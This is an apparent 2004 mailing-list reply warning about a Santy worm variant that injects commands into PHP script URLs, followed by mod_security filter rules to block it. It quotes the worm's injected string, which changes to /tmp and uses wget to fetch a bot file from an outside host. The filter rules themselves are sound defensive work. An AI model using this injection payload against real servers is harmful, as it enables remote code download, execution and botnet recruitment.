On Sat, 25 Dec 2004, Juergen Schmidt wrote:
the new santy version not only attacks phpBB.
It uses the brasilian Google site to find all kinds of PHP skripts.
It parses their URLs and overwrites variables with strings like:
'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
www.visualcoders.net/spybot.txt;...
Often enough this leads to download and execution of code.
On success the worm connects to an IRC server, where already more than 700
zombies are waiting for commands.
My friend Suzi from http://spywarewarrior.com who runs Wordpress found
this:
http://wordpress.org/support/7/19285
Within five minutes I've logged over 600 attempts on my server.
For those using mod_security, I'm implemented a nice 406 in the meantime,
it is Christmas after all, I'm sure we want to elsewhere:
[code]
SecFilter "visualcoders\.net/spy\.gif\?\&cmd"
SecFilter ":/"
[/code]
Just in case the URL changes, the latter should still get all sorts of:
http://
ftp://
Naturally, the latter also filters on
%3a%2f
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